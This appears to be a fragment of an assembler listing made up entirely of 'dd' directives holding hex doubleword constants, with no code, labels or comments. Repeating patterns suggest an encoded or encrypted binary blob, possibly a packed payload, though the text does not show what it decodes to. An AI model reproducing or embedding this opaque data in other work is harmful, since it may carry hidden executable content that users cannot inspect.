		dd 0E3AFC713h, 60030948h, 6696B21Ah, 8F243215h,	66223207h
		dd 21BE4F7h, 0C472D2B7h, 619596B3h, 4A34806Eh, 0E777F726h
		dd 75A60C6h, 6924E2EAh,	6622319Fh, 9D9A5415h, 668838FDh
		dd 97FC0415h, 927F5CD2h, 8F8B32h, 0F94BE194h, 0E3CD534Bh
		dd 60301138h, 661EB31Ah, 6C613215h, 37443215h, 9D8D48B1h
		dd 0D4794A1Dh, 170DF400h, 3042203Dh, 662234FCh,	2FD1515h
		dd 0E5B0089h, 0B25B5F2Ch, 8F97CDE9h, 8F172025h,	66883213h
		dd 0E38A000Ch, 0E3AFC9E6h, 60044D20h, 69705275h, 6644329Dh
		dd 99435315h, 6E9C3DC5h, 69883215h, 66443097h, 0EF435215h
		dd 743EDF90h, 0E34ECE13h, 60561A64h, 662CDB52h,	41663215h
		dd 3DD0AF97h, 749BE464h, 0EF848365h, 0BA01487Dh, 67013D94h
		dd 9E443215h, 659387EAh, 77F83407h, 8883215h, 765A6181h
		dd 4F018003h, 3EDEF49Eh, 0EF1C7EE8h, 3BC1BFECh,	8F24202Eh
		dd 66113206h, 8048B850h, 7A882124h, 5083E43Eh, 79EBB559h
		dd 99D21BB5h, 67C53DC5h, 93223215h, 609F3D75h, 69883215h
		dd 66443298h, 0B07E8D15h, 0EF70636Fh, 74A19790h, 6650DB13h
		dd 7DFB3215h, 8C55546Eh, 4ADA3961h, 76E8DE3Ah, 737D1F81h
		dd 0E3D7EB2Ah, 609A1A64h, 6EC83D52h, 6223215h, 1D9DD494h
		dd 8FE92209h, 66443219h, 0FFD8033Ah, 7E3D47B2h,	0D1066E4Ch
		dd 69F1D07Dh, 67A73D9Fh, 9A113215h, 66883AFCh, 95C00E15h
		dd 7757B8DDh, 0D7A4CD26h
		dd 698E2016h, 66443E9Ch, 60A73D15h, 69113215h, 66883298h
		dd 3BC1BF15h, 9324202Eh, 69F8E2EAh, 0EA883215h,	2430D127h
		dd 0D90E70A0h, 78B9C1F1h, 0E301AE4Ah, 605D46F9h, 662234FCh
		dd 0DF7B6215h, 0A12F4E6Eh, 7451E790h, 66224A13h, 96A05215h
		dd 7D7CE46h, 7B218F96h,	69223407h, 660B6B91h, 0E0875215h
		dd 66443216h, 36D88D1Ah, 47B78B73h, 0E34E534Bh,	60561A64h
		dd 0E42D5259h, 66113210h, 160438AFh, 0EDED891Ah, 0E430530h
		dd 0BFCB2EFCh, 0D73DCDECh, 9E422016h, 5D7FB798h, 69713407h
		dd 0D8EEC1A2h, 9925E3FDh, 6CCBCEC5h, 42113215h,	0FD9CAA5Ah
		dd 6275C30Fh, 0BEA7BB31h, 69172B61h, 66882796h,	6654DB15h
		dd 0BDB33215h, 155BD55Ch, 2842A075h, 40C560CBh,	0E3E424BEh
		dd 60031A64h, 0A8E0CA59h, 9E9946CBh, 659387EAh,	0EBED3407h
		dd 74B36F90h, 99B1CB13h, 0DE52C5h, 59C0ED94h, 6680DB74h
		dd 0E31D3215h, 7C851A11h, 0E3983970h, 609146C9h, 664435FCh
		dd 1938115h, 0CBEEB120h, 66883BFCh, 4452A15h, 2CDAAA66h
		dd 0E3D76AFBh, 609A1A64h, 75AD5259h, 0EA223215h, 0BFF98E13h
		dd 9E633B2Bh, 1731D8B2h, 3B5BEEBDh, 7E41930h, 0E70A0D7Dh
		dd 0D3BBCAA2h, 603031A4h, 66113EFCh, 59E715h, 91853FD7h
		dd 0A17E92D9h, 0AC9052C6h, 58CDAD55h, 6649DA75h, 0F1573215h
		dd 2E134452h, 60002205h, 3F7CE4B5h, 66223FFCh, 8D707E15h
		dd 665B65C5h, 1C1D7C4Ah, 7431617h, 5D4CB798h, 75613407h
		dd 0E443215h, 23BBFA6Dh, 9BE01CEEh, 7E1BB5BEh, 52666BF3h
		dd 0B6DD453Dh, 661ABB1Ah, 69E83215h, 66443299h,	0A5A95415h
		dd 8694BB74h, 938E2B61h, 4E35B7D3h, 696E3407h, 66113397h
		dd 7EE0CB15h, 9AF71D55h, 659387EAh, 0EBE43407h,	74B36F90h
		dd 6650DB13h, 7C2B3215h, 0B1661B22h, 7827E56Bh,	0A3C8B181h
		dd 5D1E5A37h, 0B6EECA9Ch, 0BF035475h, 664434FDh, 0D4540515h
		dd 8C0856h, 3F158DAAh, 86C1BB74h, 6242B61h, 5F3ED394h
		dd 0E5872780h, 66443213h, 0FF7CD594h, 9F700CBCh, 4EF9B7D3h
		dd 8F023407h, 6622321Dh, 0CA43B9F0h, 80AEC6Bh, 0B842267Dh
		dd 0EE2D52AFh, 66113216h, 7BB973h, 17EBDC94h, 0D797CD74h
		dd 8F172016h, 6688321Eh, 3E57AF8Ah, 8C399014h, 0EB208234h
		dd 74B36F90h, 60AC5213h, 0AE223215h, 11FC107Dh,	38D7652Eh
		dd 66443AFCh, 95630215h, 27AB4362h, 0B67753C0h,	664426FCh
		dd 0F701E815h, 10466FF6h, 92D08287h, 5C8CB165h,	0C50841A1h
		dd 8E94BB42h, 698E2B61h, 66443396h, 0E3E4C715h,	60031A64h
		dd 610F3D52h, 69443215h, 6622339Dh, 1C79CE15h, 9309EE05h
		dd 65F587EAh, 0E92D3407h, 66113214h, 0D98752EDh, 79AB9CEh
		dd 5D7FB798h, 0DC713407h, 3BF34B68h, 0D476EB94h, 99433723h
		dd 67973DC5h, 9F883215h, 12B4B79Ch, 0A0DB340Ch,	74394390h
		dd 69E87513h, 66443798h, 0A4A35415h, 0DC77DF92h, 9FE9CCC9h
		dd 0E1CA9E7Dh, 70A13DFAh, 8F113215h, 66883204h,	0E6FDD3BDh
		dd 3C47F101h, 60BB8DA7h, 3B4981A7h, 0D7F1CDA8h,	8F242016h
		dd 66113205h, 0C3FE5222h, 582BAD6Dh, 0B4595552h, 5951A9BFh
		dd 668835FCh, 0BC6C1315h, 4629C0C3h, 5D4CB798h,	99713407h
		dd 67C53DC5h, 9A223215h, 12E5B79Ch, 35E8340Ch, 3FBCB973h
		dd 662223FCh, 659BF415h, 0D6738520h, 257B0D9Eh,	52B9424h
		dd 0A0708C32h, 74A04390h, 69AD7513h, 0BA223215h, 0CF922D86h
		dd 0BFB14971h, 1F644368h, 0B44A0FCCh, 6C5A8B2h,	74601DA4h
		dd 95443215h, 0BB745E16h, 397B74A8h, 0CD4E6D9Dh, 0DD996EE3h
		dd 3E7A642Ch, 0D3EECB74h, 609A31A4h, 664421FCh,	0A9D1AB15h
		dd 6ED27B3Ah, 0D0DC9E25h, 0D629CE9Dh, 412DB3D8h, 5D4CB798h
		dd 99703407h, 664BDBC5h, 20E23215h, 0F63160A2h,	28EB883Eh
		dd 2FA11B80h, 9EA7BB0Ch, 8F172B61h, 6688321Dh, 44FA513Fh
		dd 673B1CE6h, 4E60B7D3h, 8FCF3407h, 66443206h, 8F63B498h
		dd 4303E0C6h, 5CB039FFh, 11F48511h, 8F6562B1h, 66113201h
		dd 53C15B4Ch, 408D7B20h, 0C638FAF6h, 6420F58Fh,	0F5C3BE7Ch
		dd 0A77D367Dh, 6633DBAFh, 8D0D3215h, 0FD7E6218h, 5AC7B6D9h
		dd 0A82AF311h, 8FBAD736h, 6688321Ch, 0B8BFA7E5h, 1B083F60h
		dd 0D7A4CDD1h, 698E2016h, 66442691h, 662DDB15h,	85C33215h
		dd 3640DBC1h, 0A431776Eh, 1ED186AFh, 3B94BF38h,	68E202Eh
		dd 234AF594h, 9EA96DC5h, 9EC1CD74h, 1274B79Ch, 0E624340Ch
		dd 63CABDF3h, 0FA113215h, 25B897ABh, 71D70A3h, 40E38F96h
		dd 69113407h, 6688A990h, 68AD5215h, 0CB223215h,	64DEA211h
		dd 74108FF2h, 8B7B7B36h, 0D0D4B3A7h, 775CC9Dh, 4EF9B7D3h
		dd 9F033407h, 140F557Dh, 7F943DF5h, 8F883215h, 66443201h
		dd 9F47320Ch, 8D085A70h, 3A820CFDh, 0BE465484h,	0EA4481BCh
		dd 65A087EAh, 67D3407h,	8F83B373h, 7D9B9B2h, 5D4CB798h
		dd 99713407h, 6CC43DC5h, 6223215h, 0AEF6FB94h, 0AC024D32h
		dd 7EC33D74h, 8F223215h, 66113206h, 0AAB660E8h,	0DCF82A4Ch
		dd 59A6BAFBh, 9B28252Bh, 0EF855036h, 7F313290h,	67A53D13h
		dd 9A113215h, 4EF9B7D3h, 69033407h, 66223998h, 6617DB15h
		dd 55563215h, 8CFC9BCAh, 4F91837Dh, 0E61E529Bh,	66883211h
		dd 4CE78C73h, 66223DFCh, 2978415h, 0A024E84Bh, 3B7D05BFh
		dd 61368670h, 0B3915274h, 0EF876395h, 66443215h, 0D3DD534Dh
		dd 600331A4h, 66883DFCh, 6D9CF615h, 5648F3C3h, 52C8FC4Bh
		dd 45B7ED0Ch, 5D19B798h, 68CB3407h, 99113215h, 6220FB96h
		dd 71373D38h, 6B59EA01h, 93C1CD75h, 138CB79Ch, 0A0B1340Ch
		dd 740A4390h, 0E81E7113h, 6688321Dh, 6646BE1Ah,	7423215h
		dd 9AFBB875h, 2C2F5A74h, 6924F263h, 0BCA2E1A2h,	0D3EE5373h
		dd 609A31A4h, 6642B11Ah, 35423215h, 770524Bh, 5DD5B798h
		dd 9F243407h, 9943EC9Eh, 0EE1EC7C5h, 66883214h,	6EC1BBEDh
		dd 6242B60h, 661120FCh,	80CF3515h, 0A74D964Bh, 22661A4Eh
		dd 6F326035h, 69C11FD3h, 9F25E9A2h, 4E53B7D3h, 8F5D3407h
		dd 6688321Eh, 0D350001Ah, 920B571h, 0E33FAEEh, 9DEE5EFEh
		dd 0E84B5275h, 66223215h, 20A607AEh, 76615375h,	0C8443215h
		dd 11D3FA55h, 9061733Ah, 0DBA993EEh, 7DEA577h, 7B1B87EAh
		dd 9AE43407h, 5DD5B798h, 0E44B3407h, 66223219h,	661135FCh
		dd 8EA6F215h, 61271BFEh, 0E82DE2EAh, 6611320Eh,	669CDB75h
		dd 17A3215h, 1E22E42Dh,	21F7DCA5h, 0BF68250Ah, 979EE793h
		dd 0EF43ECE4h, 7F64AE90h, 0D3A5213h, 0A02526A6h, 740A4390h
		dd 0ED717613h, 0D8EE52C2h, 7251C1Ch, 15AC677Dh,	73953DAEh
		dd 8F883215h, 66443205h, 0A57960DDh, 61B58EF7h,	34A33A01h
		dd 0B1584A19h, 662DB51Ah, 37713215h, 668EDB4Ch,	7EEB3215h
		dd 88BD4357h, 0D7A4CD74h, 68E2016h, 0F430FCAFh,	0A4A3541Dh
		dd 6705AB8h, 9E76B973h,	3BC1BF74h, 8F24202Eh, 66113204h
		dd 0EB67DF7Fh, 17CB5628h, 384E19B7h, 4EDA87h, 9F58CDA5h
		dd 1348B79Ch, 42340Ch, 69C62ABh, 297FB373h, 3DFE54D5h
		dd 0A043530Ah, 74394390h, 77617113h, 0B1443215h, 9BBBE238h
		dd 0C41BEED6h, 41DD2E03h, 80D76725h, 0E84CCE7Dh, 661ADBA9h
		dd 0FCD03215h, 9308DEDAh, 127A0281h, 0D7A4CD34h, 698E2016h
		dd 66443391h, 61CBC715h, 0D1113215h, 0C21D794Bh, 0E3C966EBh
		dd 60300948h, 0E01E5375h
		dd 66883205h, 664EBD1Ah, 63CB3215h, 56113215h, 0A0250101h
		dd 63ADE2EAh, 57223215h, 308F3150h, 760DBBEDh, 8F422B60h
		dd 66223207h, 16601F6Bh, 5869D553h, 601D30D4h, 49CCD932h
		dd 0E3D7352Bh, 609A1A64h, 67C43D46h, 9F223215h,	762F987Dh
		dd 0AE0852D3h, 664FDB33h, 0B8C83215h, 512C2CC3h, 50B84037h
		dd 0D3BB5358h, 603031A4h, 661FDBEDh, 54593215h,	10D427E3h
		dd 98A52200h, 0EAB430C0h, 5DD5B798h, 0E64B3407h, 6622321Dh
		dd 6DDAB375h, 7EB2E88h,	664422FCh, 0EF6BC715h, 3FD820DBh
		dd 0EFD13DE6h, 7CE13AABh, 6F2CD4Eh, 3CAE5444h, 0E7EE6815h
		dd 78B48C2h, 1336B79Ch,	0E21E340Ch, 66883200h, 664422FCh
		dd 86BE6015h, 7EADA421h, 8D1555DCh, 0B1B07F99h,	0F79FB1C0h
		dd 66172000h, 6538B61Ah, 0A0B83215h, 740A4390h,	69717413h
		dd 66882A96h, 6657DB15h, 2B573215h, 52648D56h, 9C3242C0h
		dd 0E559D4C1h, 0AA91FDB2h, 0B8A85429h, 57E0531Ch, 6BEA4DBh
		dd 2B9BEC9Eh, 7388E2Fh,	0D73DCDEDh, 93422016h, 5D7FB798h
		dd 713407h, 0C4BCC594h,	664437FCh, 1E5F0415h, 99705A12h
		dd 0E301CBC5h, 605D4765h, 17A7F4EDh, 2017203Dh,	5C5E5AE9h
		dd 69ADCEB2h, 17223215h, 0F3C45182h, 2605AA1Bh,	0C4F3A4A4h
		dd 0D3DD2494h, 600331A4h, 668FB01Ah, 0E24B3215h, 66223214h
		dd 3B94BFE9h, 698E202Eh, 66443690h, 3C745215h, 6619DB74h
		dd 1D893215h, 0CF419DF1h, 0B6DDAC53h, 661134FCh, 0DE51C815h
		dd 623C0AFh, 0C095FAABh, 74B8221h, 1308B79Ch, 24340Ch
		dd 7C9AF39Eh, 777F2CAh,	45375475h, 66C63D52h, 7223215h
		dd 4E60B7D3h, 8FCE3407h, 6644321Ah, 0FE8CF152h,	3C656938h
		dd 6207835Eh, 0EDF577Fh, 0F4DE9615h, 0D7A4CDE0h, 68E2016h
		dd 87C55447h, 77DBD3Eh,	5D4CB798h, 0D8E83407h, 48519C60h
		dd 69435275h, 66113291h, 99E95315h, 0DF2252C5h,	7DBB0BAh
		dd 1395B79Ch, 6361340Ch, 6F443215h, 896F5BF0h, 4E60B7D3h
		dd 69CE3407h, 66442C9Bh, 7EA63D15h, 8F113215h, 66883206h
		dd 0EA5691E2h, 0EFA9585Fh, 41E7F6BDh, 0D560744Eh, 0E81CCE2h
		dd 90F67D7Fh, 9FE4B875h, 6C0E3D74h, 6443215h, 0E02D5375h
		dd 66113215h, 0D73DCD74h, 8F422016h, 6622321Ah,	0BAB94360h
		dd 4DAD6F6Ch, 0AF49E8ACh, 6604A57h, 5EADAAAFh, 7AB815Eh
		dd 5D19B798h, 0DC423407h, 7489A2B1h, 668DB01Ah,	9DFD3215h
		dd 740017Fh, 6FF8E2EAh,	8F883215h, 0BB26616Dh, 3071BE44h
		dd 661BBE1Ah, 69E83215h, 6644329Bh, 7435215h, 1399B79Ch
		dd 7561340Ch, 0C443215h, 31593812h, 1E89C141h, 6FDBA70Dh
		dd 7C4D4D83h, 0E3E41B22h, 60031A64h, 6698DB53h,	0E6733215h
		dd 7F7CE737h, 0C8DA90C4h, 102FB6A5h, 362478B7h,	3B2FFDAAh
		dd 0A19A6B02h, 366F5A74h, 99BCA6D8h, 742183A0h,	709C3D13h
		dd 6883215h, 66443DFCh,	10D07115h, 856AB412h, 0DB85349Ah
		dd 0A8EB75A3h, 3BA7BF74h, 6917202Eh, 66883392h,	0B6BBCB15h
		dd 662FB61Ah, 69713215h, 66883299h, 0D3718915h,	0EF432AF1h
		dd 7F644690h, 69E85213h, 0B6CECAAAh, 662CDB74h,	0F27D3215h
		dd 0C1CFCC7Ch, 166B3216h, 0E36BAB61h, 1794F474h, 208E203Dh
		dd 99A68A75h, 0EE2D405Ah, 6611321Bh, 66883BFCh,	2FB78115h
		dd 22E28A7Ah, 0E70D109h, 0D7AA462Eh, 664BB11Ah,	6CCB3215h
		dd 113215h, 7F21FC7Bh, 0ACCA6BAFh, 0D797CD67h, 69172016h
		dd 66882191h, 664ADB15h, 0E7233215h, 1D4A18EEh,	14BB91B3h
		dd 212CA1C2h, 97953D75h, 661121FDh, 7FB88915h, 1AC8FEB6h
		dd 41BB48D3h, 0D5E45751h, 0FD4D6567h, 0C692B373h, 0EB436ADBh
		dd 742A6F90h, 0B677CA13h, 66443BFCh, 5D24D715h,	9866384Eh
		dd 0E301E850h, 605D476Dh, 662226FCh, 668F5715h,	5DC20D65h
		dd 7A4FDC9Ah, 0E9FC072Dh, 47AA97DEh, 170DF482h,	2042203Dh
		dd 6623BF1Ah, 69E83215h, 66883A93h, 0A7C55215h,	34315ADAh
		dd 8CFC5A74h, 9974ED6Ch, 744783A0h, 662EDB13h, 6C023215h
		dd 6BBEC20Ah, 4E617AF8h, 0E3AFC2EBh, 60030948h,	8F58CDE0h
		dd 6644321Eh, 932BF246h, 4B40BEBAh, 0EF8C308Fh,	7F314E90h
		dd 662ADB13h, 72053215h, 3BABF4B2h, 0DBC77C02h,	603014D4h
		dd 0F9943D15h, 6883215h, 664434FCh, 4F58C415h, 6AF8EE9h
		dd 6688B11Ah, 0E7223215h, 79AAAE7h, 1794F474h, 358E203Dh
		dd 861A5AEDh, 0E742FCABh, 0FFF622F7h, 0EC368D4Dh, 6254C7Ch
		dd 662223FCh, 0D7D79715h, 2DCF6029h, 88A31F99h,	72837666h
		dd 0DC773067h, 99E9EDA6h, 744783A0h, 0E3AFCA13h, 60030948h
		dd 85A08C75h, 0A4CF7152h, 6F2CD74h, 0D7C1B275h,	74615374h
		dd 17443215h, 31EDB9B5h, 2E16AAADh, 373DF96Ah, 0E593D001h
		dd 7EA7BB34h, 69172B60h, 66883F9Bh, 664CDB15h, 0BDB93215h
		dd 0B772418Eh, 0E34E6D51h, 60561A64h, 0E14AC752h, 8FD6834Bh
		dd 66883212h, 283DADE7h, 69343BC6h, 66112093h, 6685DB15h
		dd 399C3215h, 8CB83783h, 0A650AD9Fh, 991D7D22h,	744783A0h
		dd 74CBCE13h, 0E1113215h, 4D53F9D0h, 0D20D8432h, 7747DA4Dh
		dd 7E967816h, 3B0DBFBFh, 6942202Eh, 66223992h, 0D91E5215h
		dd 66013DCAh, 7443215h,	8E42E2EAh, 66113219h, 6B1FB97Dh
		dd 0AD463951h, 61D9CEDBh, 38E1851Ah, 668EB21Ah,	0E04B3215h
		dd 66223215h, 7A94BB74h, 9E8E2B60h, 40858F96h, 69223407h
		dd 66115690h, 0B7035215h, 66443AFCh, 1CBDAF15h,	5D35F31Dh
		dd 0E34E53C4h, 60561A64h, 634AC752h, 9AF7506Bh,	653987EAh
		dd 75AD3407h, 85223215h, 520778E5h, 440D7529h, 6BB725BDh
		dd 4627A6DDh, 0E39CEA98h, 609A0948h, 6994CDEDh,	66223395h
		dd 0E398C715h, 60914735h, 66443EFCh, 0D39EBB15h, 7B10DF89h
		dd 0A4B18091h, 17C1F443h, 2524203Dh, 661CB01Ah,	0D9E83215h
		dd 4606AC7h, 1CA5D294h,	6701E3Ah, 668837FCh, 29428315h
		dd 0ED445FFFh, 907953DBh, 691A481Ch, 66442395h,	94A95215h
		dd 66113AFCh, 0D27B8215h, 160962DFh, 0D3DD5357h, 600331A4h
		dd 668FBF1Ah, 0EE4B3215h, 66223214h, 3B94BFECh,	9E8E202Eh
		dd 0EFB8E2EAh, 7F571690h, 6B9E3D13h, 8F883215h,	6644321Dh
		dd 71E71914h, 564DE53h,	4EF9B7D3h, 6073407h, 8F70FD9Eh
		dd 66113207h, 0F9425F6Bh, 8257DB94h, 8B6CD9D2h,	0CAE405Eh
		dd 7D313BBh, 47D3127Dh,	662FDBE9h, 5C133215h, 2A3FC293h
		dd 68E37EC3h, 998FC40Fh, 741283A0h, 670F3D13h, 93443215h
		dd 5D7FB798h, 6713407h,	39316843h, 73BA26Dh, 662222FCh
		dd 0DD5CCF15h, 2B99B55Ch, 25431BB2h, 0CC8330ACh, 6CF8531Dh
		dd 5D883215h, 0F5D353D5h, 0F6675E3Dh, 6C1CD53h,	96095446h
		dd 0E61FE478h, 0EF4382F7h, 7F641A90h, 69E85213h, 6644329Fh
		dd 0BD9D3D15h, 0E11E5374h, 66883219h, 6642B21Ah, 0E32D3215h
		dd 66113215h, 40498F96h, 69443407h, 66235C90h, 6614DB15h
		dd 0B84C3215h, 0A051BDDDh, 740A4390h, 717113h, 7EB5ABh
		dd 75EC6AFh, 668A317Dh,	0E01ECB9Eh, 66883212h, 6645BC1Ah
		dd 99DA3215h, 741283A0h, 84095213h, 63C8725Dh, 747F38ABh
		dd 0E51E5340h, 66883200h, 664BB11Ah, 6CCB3215h,	0F9113215h
		dd 726A9967h, 167B84F0h, 3BA7BFF1h, 617202Eh, 668EB01Ah
		dd 0E64B3215h, 66223215h, 0B6EE53E0h, 66883FFCh, 8E07715h
		dd 0B34D0E89h, 0F15F47ECh
		dd 8FE89443h, 66443205h, 0E8884593h, 0D7FEF340h, 0EFDEB2FEh
		dd 707C1598h, 662226FDh, 0EF5A4015h, 0CD7DDF7Dh, 0A4F7F7EAh
		dd 5043638Dh, 997A2E19h, 3CE95290h, 56C1BB74h, 93242B60h
		dd 4E60B7D3h, 8FCB3407h, 66443204h, 0CA7ACA33h,	0BCE32D29h
		dd 99BF429Dh, 15314EE4h, 76AD3D00h, 8F113215h, 6688321Eh
		dd 9259AA9h, 4C86B3F5h,	0E3A803Bh, 83D304C0h, 665EB81Ah
		dd 0EB2D3215h, 66113201h, 66883DFCh, 9DD88915h,	0C57E6EF2h
		dd 617D10F4h, 6C0076F9h, 65F587EAh, 423407h, 9A32ADh, 8C52EA94h
		dd 0DF225274h, 0D944E7Ah, 3B94BF74h, 698E202Eh,	66443595h
		dd 67A33D15h, 93113215h, 0EDE8E2EAh, 64C93DEFh,	0ED223215h
		dd 0E39853D7h, 60914739h, 0F99EB375h, 36265B82h, 661135FDh
		dd 15310015h, 3FA6FC8Ch, 0A043694Ah, 74394390h,	0E6E87113h
		dd 96C50BD6h, 70BC59CBh, 54F05A74h, 8F7DD8BFh, 66443204h
		dd 0E18C0A1Ah, 1A840169h, 75EBE7ACh, 8C32CD93h,	0D797CD6Bh
		dd 8F172016h, 66883218h, 23A461E3h, 4A244E59h, 0F7904516h
		dd 3B0DBF44h, 9342202Eh, 69D7E2EAh, 6611379Dh, 0EDEE5215h
		dd 0E3CD53D4h, 603B4721h, 1794F4ECh, 258E203Dh,	665DB71Ah
		dd 72CB3215h, 3F113215h, 1ED5380Ch, 0B1327072h,	6D65A0E2h
		dd 0CCA76432h, 0EC9B3D2h, 0E2B59E22h, 6628DB75h, 0F3103215h
		dd 4F151F87h, 1B1308A8h, 9943E69Fh, 741283A0h, 0E7EE5213h
		dd 8F7B26D6h, 6622321Eh, 0BD7925C2h, 143CE903h,	7DAE7F7h
		dd 5D7FB798h, 0ED1E3407h, 6688320Ch, 664426FCh,	0F1D0B815h
		dd 0E3B737FFh, 12E65E4Eh, 84734F7Ah, 5E8FB73Dh,	9FC1CD69h
		dd 13B0B79Ch, 24340Ch, 6F550ADh, 6611B01Ah, 0EF873215h
		dd 66443215h, 0E3E45374h, 60031A64h, 668FDB5Ah,	14D3215h
		dd 0A411C148h, 6A993D0Dh, 69883215h, 66443496h,	66A33D15h
		dd 0E113215h, 0F1BDA2C1h, 66443CFCh, 14895015h,	66F26CCAh
		dd 8AA2C0DAh, 9929550Ch, 742183A0h, 0E39CCB13h,	609A0948h
		dd 6645BB1Ah, 99DE3215h, 661EDBC5h, 0CFE93215h,	0CD66348Fh
		dd 3D8F54A7h, 3006A7E1h, 5A0DBB33h, 9F422B60h, 4E53B7D3h
		dd 65E3407h, 668826FDh,	0DC34115h, 3B6AC76Dh, 13A1972Bh
		dd 6445515Ah, 4A0265F8h, 0FDE3B256h, 6616DA4Eh,	0E3F73215h
		dd 76F6173Fh, 66AC3D6Fh, 39113215h, 6C073D74h, 6443215h
		dd 0DECA8873h, 774F8C73h, 688A5A74h, 6AADCB7Bh,	6B223215h
		dd 0C5BF4EA1h, 92A9342Eh, 9925857Eh, 742183A0h,	69923D13h
		dd 6883215h, 664435FCh,	0DEAE815h, 5585BC2Eh, 6E853E9h
		dd 7B85375h, 6620BD1Ah,	0D2A23215h, 3B0DBF74h, 9F42202Eh
		dd 0EFD7E2EAh, 7F647290h, 0E34ECA13h, 60561A64h, 0ED445258h
		dd 65943DDEh, 883215h, 0E25C09Eh, 0AE154B5Ch, 0D7A4CDEDh
		dd 698E2016h, 6644339Ah, 3642CE15h, 39CBB973h, 0EBE9C19Fh
		dd 747F6F90h, 0B6DDCE13h, 6610B21Ah, 0EF743215h, 7F317A90h
		dd 67A03D13h, 93113215h, 4EF9B7D3h, 69093407h, 66223A9Ch
		dd 0E7775215h, 939C99CCh, 2BCD5A74h, 69CBEEE2h,	0F9113215h
		dd 6C7BEC44h, 89B318EAh, 0ED358202h, 0D3EE56B1h, 609A31A4h
		dd 3BC1BFE9h, 624202Eh,	38FDD594h, 53019E3h, 75431A1h
		dd 63CBE2EAh, 0FB113215h, 7631E34Bh, 1300B79Ch,	77CB340Ch
		dd 0F6113215h, 7060A142h, 8370AEFh, 6122D924h, 0F55273B5h
		dd 4EF9B7D3h, 6113407h,	8849ABAEh, 6617DA18h, 0F4353215h
		dd 98D31450h, 0E436AE0h, 0FA0A1F22h, 669FB81Ah,	74AD3215h
		dd 99223215h, 0BE0A5A42h, 3B973FBDh, 0BA8FBA2Eh, 223F73A7h
		dd 64983D8Eh, 6883215h,	0D7F1CD74h, 9A242016h, 661126FCh
		dd 5C4DE615h, 0E29FF41Ah, 38498F75h, 5ED97342h,	6D23B344h
		dd 3BC1BF8Eh, 6924202Eh, 6611349Fh, 0A9385215h,	99255375h
		dd 6633DBC5h, 0DD33215h, 1CC9EBE0h, 48F7634Fh, 0E6FDE6CCh
		dd 0EFFC0E2Fh, 7FFD7E90h, 0E382CB13h, 60301A64h, 94AB5256h
		dd 0ADC067h, 93BBDC94h,	96085A74h, 99EDE0C0h, 748B83A0h
		dd 664ADB13h, 85F73215h, 12876E54h, 0C217B542h,	0CDC104EDh
		dd 5D7FB798h, 36713407h, 8FD16A46h, 6644321Dh, 0D9756E45h
		dd 306BA72Ch, 668FDB74h, 717F3215h, 3A379879h, 9EC1CD3Fh
		dd 13D8B79Ch, 0DD24340Ch, 303AD085h, 69701CA3h,	6688359Dh
		dd 67C93D15h, 9A223215h, 4E60B7D3h, 6DA3407h, 0D74C7ABh
		dd 662DDA1Eh, 0D13215h,	637D8DD6h, 8CB263B2h, 1BC570EBh
		dd 0E7068EAh, 9BCA86FFh, 66443DFCh, 4A14F315h, 0B54C35C6h
		dd 0E699A253h, 0DB134869h, 659387EAh, 0E91E3407h, 66883214h
		dd 3BC1BFE0h, 9E24202Eh, 0E91EE2EAh, 66883210h,	3F12CA75h
		dd 3BA7BB74h, 9E172038h, 4EF9B7D3h, 8F033407h, 66223201h
		dd 5BE1DEA6h, 0B6742F3Ch, 3847B78Bh, 0FF5D94AAh, 0A57FE767h
		dd 0FED1AB7Dh, 77C93DF7h, 8F223215h, 66113219h,	0D361B91Fh
		dd 845333B2h, 8255425Dh, 8EDBB975h, 6688321Fh, 731A8B72h
		dd 0E8D73C3Dh, 0DE77547Bh, 7D1120Eh, 65F587EAh,	61CB3407h
		dd 82113215h, 51A1C501h, 24B1FBh, 9EA9FA9Eh, 3B94BF74h
		dd 68E202Eh, 1D2A05ADh,	72C8323h, 661126FCh, 3882B15h
		dd 7F2C57ECh, 6C1CDAFEh, 6477A349h, 3B9BCDh, 9A94CD99h
		dd 1376B79Ch, 0E61E340Ch, 66883205h, 664439FCh,	86E76815h
		dd 1E79BC92h, 9DCDABDDh, 4E35B7D3h, 69653407h, 66112190h
		dd 6686DB15h, 94ED3215h, 0DBE32161h, 111800D7h,	15BACE22h
		dd 9B24F07Dh, 63CB52A4h, 79113215h, 83BA14F3h, 0D3BBCA74h
		dd 603031A4h, 661122FCh, 93870D15h, 997A65C0h, 6AC92FEBh
		dd 0B4A07696h, 6685DB4Dh, 3DD3215h, 89C04EDDh, 0B79B8E1Dh
		dd 0EB46D558h, 747F6F90h, 67AA3D13h, 9A113215h,	7261E2EAh
		dd 3C443215h, 0BE743391h, 7F6E1488h, 56098695h,	0E505D23Ah
		dd 0EF88467Eh, 7F646A90h, 0EDEE5213h, 6649DAE2h, 0EEAE3215h
		dd 0AED3B1F7h, 0C7FEA676h, 0DC17BDC3h, 11553EB3h, 0E3D7534Dh
		dd 609A1A64h, 68ADCE52h, 61223215h, 0C7138B56h,	8E993ABFh
		dd 0F7F6EC1h, 98365A5Eh, 6971EDB3h, 0BC02C0A2h,	0D7F1CD74h
		dd 9A242016h, 5D4CB798h, 0E2873407h, 66443218h,	66223AFCh
		dd 73ED6215h, 4E05428Bh, 9394CD83h, 137EB79Ch, 0E771340Ch
		dd 0DF9A93D5h, 64CE3D6Ah, 0D4223215h, 0E3D7532Bh, 609A1A64h
		dd 0E2CCE4Ah, 6BC62E7h,	6613BA1Ah, 7E83215h, 0D7F1CD74h
		dd 8F242016h, 66113212h, 0A7D86F1h, 697E3395h, 66222492h
		dd 6600DB15h, 0C99A3215h, 461AB8B6h, 1F2CD6B9h,	62010E9Ah
		dd 0EBC7CD40h, 747F6F90h, 662FDB13h, 6FDC3215h,	6255154Dh
		dd 39CFA2D5h, 996EE1F6h, 73933DC5h, 8F883215h, 66443205h
		dd 0A56C5B51h, 9199D572h, 15A46428h, 0E2D82437h, 6623BD1Ah
		dd 0EFE83215h, 7FFD5290h, 0ED225213h, 0E3E453DEh, 60031A64h
		dd 0E687C75Ah, 6644321Dh, 0F5B875h, 7DD3EAAh, 9AF30D7Dh
		dd 8BC452D2h, 0D3DD53E4h, 600331A4h, 6691B61Ah,	72AD3215h
		dd 36223215h, 0F1BA1FFDh, 4B6A238h, 5C8338Fh, 0E4535DEDh
		dd 0EBEFE5E2h, 74B36F90h, 0EC4B5213h, 66223217h, 0E41E5375h
		dd 6688321Eh, 664434FCh, 0D21E2115h, 79BBBF8h, 668823FCh
		dd 34BFBB15h, 9F131E69h, 0D190975Ch, 0C94741B2h, 0B6BB1F13h
		dd 66223FFCh, 0EA389815h, 0B8FE499Eh, 22D3CE1Fh, 0E3ABF2C0h
		dd 60084799h
